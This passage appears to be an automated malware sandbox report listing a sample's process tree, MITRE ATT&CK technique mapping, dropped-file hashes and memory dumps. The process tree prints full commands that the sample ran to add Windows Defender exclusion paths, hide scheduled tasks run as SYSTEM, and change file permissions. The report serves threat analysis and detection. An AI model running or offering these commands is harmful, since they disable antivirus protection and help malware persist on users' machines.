      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1924
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\5ey5Uj.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5196
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4296
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:708
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5100
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3852
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5432
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5032
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\nps76r\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2772
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1380
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1040
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4088
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4480
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2252
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4184

C:\Users\Public\JDPuO5\fDfBdR.exe
"C:\Users\Public\JDPuO5\fDfBdR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5296

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JDPuO5" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JDPuO5" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4724

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2700

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5408

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1292
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4508

C:\Program Files (x86)\nps76r\5ey5Uj.exe
"C:\Program Files (x86)\nps76r\5ey5Uj.exe"
1⤵
PID:8

C:\Program Files (x86)\nps76r\5ey5Uj.exe
"C:\Program Files (x86)\nps76r\5ey5Uj.exe"
1⤵
PID:3664

C:\Program Files (x86)\SOBdK15C\UA4Xg.exe
"C:\Program Files (x86)\SOBdK15C\UA4Xg.exe"
1⤵
PID:1992

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\nps76r" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4632
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\nps76r" /t REG_DWORD /d 0 /f
  2⤵
  PID:2768

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4104
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3052

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4408
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\SOBdK15C\XPSPLOG.dll
Size 4.6MB
SHA256 9af96e0a25334834360b461316e02afaaecd6a99d8a5ce184bfd6ee80c8a72e2
MD5 1c3d09fdcbf2ab1fb156c07f1f09ce6f
SHA1 32ebff9634d4a18c595d1d327867a83fd255f260
SHA512 49e88234a02d5225504a7990b742c9caeccf3e7214e6f729f0aa504407062abcc11a90808bac744e430077329101246f29eac4dc92d01612803f231196669997
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyu:BMWKfU+BcUTHCCCfqCiUffnu
TLSH
T14D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\SOBdK15C\image.png
Size 4.8MB
SHA256 66f9141fb661afe1389cecb13edb88ae84b322d56f09723f01890668e77bf1b5
MD5 55e991501d326c20d8dfe1688f02705d
SHA1 8b773bc11fb7444efde185418903270fae26525e
SHA512 636254144535cbf366067fe82fafb7e60a01ea46dd1368111d437b53003594b072e1396c1de0413b61d313cb520885e341bc4193bc4bb5fb7dd42f86ddcd3429
SSDEEP 98304:C/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:CMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1A536334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D70B3293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5ey5Uj.exe

Path C:\Program Files (x86)\nps76r\5ey5Uj.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\nps76r\XPSPLOG.dll
Size 4.6MB
SHA256 08efc9ed075ff50e8c846278f74f1de9afdbfe81669c733df8d69129882cbc06
MD5 838cf0ed27c82180d7135839e54389c1
SHA1 e652dc2b4bb9748e1406d7e32defd8a11cb8d322
SHA512 1976ce56b84324b0a5ff2ebebae1d403c6bd808a36d2a4af105929cd91bd2d3dc126eb09aed9b3a1f48f1089b2ce8b8803a13abc6beb594cf24bd33dfc22912f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyW:BMWKfU+BcUTHCCCfqCiUffnW
TLSH
T1A2263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\nps76r\image.png
Size 4.8MB
SHA256 0be03d4186fba0af2f05562474f0e17f1ee528b135b34de5b5945171db1e3526
MD5 d63a521685600da137e9746c5a833e3b
SHA1 e3fa7a56d120fc11da2f47c5ccfba852f1b24498
SHA512 830d6d612d3f95924cca7ffb7bf997b83d336c2b3a9e598cb5e343a79889e0dc6a667dd6fa384cdbc4b0d029aeea1ca9460889f4b86331d957ddb188ab416f98
SSDEEP 98304:a/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:aMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T10336334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\nps76r\thumbs.db
Size 358KB
SHA256 b6e9ebe501f8744009930d354cdbdaef8dcae99aba2b9314ba2f74dab30041e1
MD5 5f9e462d69ab5a89f2a585e80219331b
SHA1 2deadf12e9eb391ae75628e32c96674184d518f0
SHA512 1784c59e616530aaeb560f720629ef085cae8b76763dcf40e0b27fe654de4b120979222f00b0e1f8ad7a9cd40f13125be3c8401ceed26a659764fd8c33f026b5
SSDEEP 6144:wiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:38u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10574F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 741daecc63cc3b521f4c43702377c720a858a808079ee18bf545e5b1788d9005
MD5 5f7a7de59f413a1d44630cfe5ef6956f
SHA1 ba54049248fd43b6b250249a0853d9568470969e
SHA512 acfe84007107ba36d30736bf782ba563a221c0487fcc4d4be9b9cf8f6a1c37c6fc68d5f6293e6286f26a2776c5edcb367c5552bc81664279baf7822c593e0b75
TLSH
T1DB3174FB5FAD7DC5CF3A4E8809CAB2222DB4A1905CCA949A2115C4995F043B26F5990D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 1bcd226d0e1feab7e21c4c6dd89f33a3fe90eacaa97cf992239defd2e580fc82
MD5 1475a29bfd02963749b6c97f9db95f8e
SHA1 ede3eac414f3332b969524490dd2629f19eb1d52
SHA512 04e5dee5bf8d094b7f6c91998e44b781b94fa8cc5bf574898df97ddc3f45160161df8356bf6ebf4b8728dddd38ff5b30eefdeff284968e88589833d48fa6c453
TLSH
T1B731F6D68E391003CF0C9F795AC1C63F3CF462216CA80840363DC29A4118BB79F8A05A
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 3ed0614ebcf90305119cf2c13abff31cd356f5a0fff231e1d14b5ebac577aad4
MD5 770b879d225d15cf60c4730ee208ceeb
SHA1 bfccf8813c8d85f02c272e5c279a3c163ca4ebe3
SHA512 8a95c80a48d05a576905210ce86ff0d9459dd739f79f223f0cc2cba15d5557baed5476e62de277816b00655a31ff8eab8739c94d0cd6d59d43bb80f77e7d6559
TLSH
T116F05C080878813FF133DD7CCBC63996267BEA02341642980AE58B0CA912B067D11676
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 dfd5b3903a738fdcea432e87f7bb321a46e9324f4fc7906545aa288d0d89ce50
MD5 b63377e534435b2197b17490f9250f37
SHA1 410e8ed0586aeda6bac14cb130bd891430fbddb0
SHA512 fbd39561df547b46794cc2b70040e9a9aaa8134a6191e5363d3a31533b89ef236e01233eb268bd3ecdc4e7dd854b77ec4fccc8b834211bb477621ffbd4dca7c8
TLSH
T138F0273905DA812FF03AD6B80AD379729A66F132100A16B90EE942191E55E006D1236D
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 72c444f0d8af230cdeff030ef9073cf1fb4e5c5deb8e4cd446c5eb368a0673b2
MD5 36f6a84b5f2257f66dd923fdec8aa95f
SHA1 ffcec7becb6e52b19ba9cb002524f4ffa5b3fb05
SHA512 3092a14655585824ebe37240c55e9b29bb6417729b71139d140e780f1c60ce4a9e5c4e798e217927ffa10c9a12d18e6253d43b285b79f648f020cf1a4049a5a8
TLSH
T123214633B3DD8664C89A413A10CEAC5036B787DB409ECEAB6B84D659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_arayg54f.l4i.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_arayg54f.l4i.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\JDPuO5\UxEnhance64.dll
Size 3.1MB
SHA256 75622c40dc86b79f6bd637dcbfcf48d680128bed64fb39e64e1ebb033b3e3369
MD5 4ea30c1450a080883a3dab673ff59869
SHA1 f62501c93d157893384b98efa3703d1ca2fb4058
SHA512 2b1dfa7852828a217a6e89ddcd1b712b0fbefd4d5b44e25493d628c669d41955fe604421f38ae0b07eb6585c1277595152abed2369286e6b44e507b3d259237f
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+5:P9m29xx3Tiqt06ox6+z2rNNrKo5
TLSH
T1F8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\JDPuO5\adoresd.dat
Size 4.8MB
SHA256 e5b696d9143543ef570fb3765ec2a20f73a31ab39b870511f5c16900e7320b2a
MD5 fe172398d234df6cf8c1aad9129efc0b
SHA1 a987f274ff1116dbb2c255267bebd1ce8e32073e
SHA512 6b7ce70c2ae9ff06b84992ad60d2de64469df10eb9478e72f7b0260cf5c1aa9fb186269dab644f26e26752d036c3834e583aa08f80cc023774d811cd83a76814
SSDEEP 98304:BWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:BWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1453633AF2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fDfBdR.exe

Path C:\Users\Public\JDPuO5\fDfBdR.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\JDPuO5\msadox.tb
Size 8KB
SHA256 78e1b9c28ea92c4d6c02d7c754cfb75a162402c83a9dbca66ee3b36994b2b449
MD5 e80156818f59f0938205f1199ba34f02
SHA1 5be3e7b55b7ac81c8760d93e150dc21661a7ff2f
SHA512 4e9c5779ef75d3b7733dd2f926105f2a423d4f09f487a743beebf6822eb2e3e373968fa0a08de82fbfe2f9b7841153f74cc16a4229cb1f0991d3f568a4bdd074
SSDEEP 192:gqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:gsZqZOXQ3uqvR2Kfzp
TLSH
T196029E05D7A20CC3D2016C71CD9EB2F5AB23A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/8-744-0x0000000003C80000-0x000000000445D000-memory.dmp

Download

memory/8-725-0x0000000001710000-0x0000000001711000-memory.dmp

Download

memory/8-726-0x0000000075000000-0x000000007574A000-memory.dmp

Download

memory/8-735-0x0000000003C80000-0x000000000445D000-memory.dmp

Download

memory/8-747-0x0000000001710000-0x0000000001711000-memory.dmp

Download

memory/8-743-0x0000000001830000-0x0000000001831000-memory.dmp

Download

memory/1336-694-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-722-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-675-0x0000000075000000-0x000000007574A000-memory.dmp

Download

memory/1336-679-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-763-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-681-0x00000000011C0000-0x00000000011C1000-memory.dmp

Download

memory/1336-684-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-686-0x0000000003740000-0x0000000003F1D000-memory.dmp

Download

memory/1336-693-0x0000000002B30000-0x0000000002B44000-memory.dmp

Download

memory/1336-674-0x00000000010A0000-0x00000000010A1000-memory.dmp

Download

memory/1336-715-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/1992-770-0x0000000003C30000-0x000000000440D000-memory.dmp

Download

memory/1992-783-0x00000000014E0000-0x00000000014E1000-memory.dmp

Download

memory/1992-779-0x0000000003C30000-0x000000000440D000-memory.dmp

Download

memory/1992-778-0x0000000001500000-0x0000000001501000-memory.dmp

Download

memory/1992-765-0x00000000014E0000-0x00000000014E1000-memory.dmp

Download

memory/1992-766-0x0000000073360000-0x0000000073AAA000-memory.dmp

Download

memory/3260-1-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/3260-524-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/3260-525-0x00007FFB21720000-0x00007FFB21732000-memory.dmp

Download

memory/3260-0-0x0000000002710000-0x000000000271E000-memory.dmp

Download

memory/3260-2-0x0000000002720000-0x000000000272C000-memory.dmp

Download

memory/3260-504-0x00007FFB21720000-0x00007FFB21732000-memory.dmp

Download

memory/3664-754-0x0000000003920000-0x00000000040FD000-memory.dmp

Download

memory/3664-757-0x00000000012F0000-0x00000000012F1000-memory.dmp

Download

memory/3664-753-0x0000000001310000-0x0000000001311000-memory.dmp

Download

memory/3664-729-0x00000000012F0000-0x00000000012F1000-memory.dmp

Download

memory/3664-740-0x0000000003920000-0x00000000040FD000-memory.dmp

Download

memory/3664-730-0x0000000075000000-0x000000007574A000-memory.dmp

Download

memory/4204-775-0x0000000005DD0000-0x0000000005E36000-memory.dmp

Download

memory/4204-776-0x0000000005F10000-0x0000000005F76000-memory.dmp

Download

memory/4204-784-0x0000000006380000-0x000000000639E000-memory.dmp

Download

memory/4204-761-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Download

memory/4204-762-0x0000000005560000-0x0000000005BAA000-memory.dmp

Download

memory/4204-772-0x0000000005D00000-0x0000000005D22000-memory.dmp

Download

memory/4204-777-0x0000000005F80000-0x00000000062DB000-memory.dmp
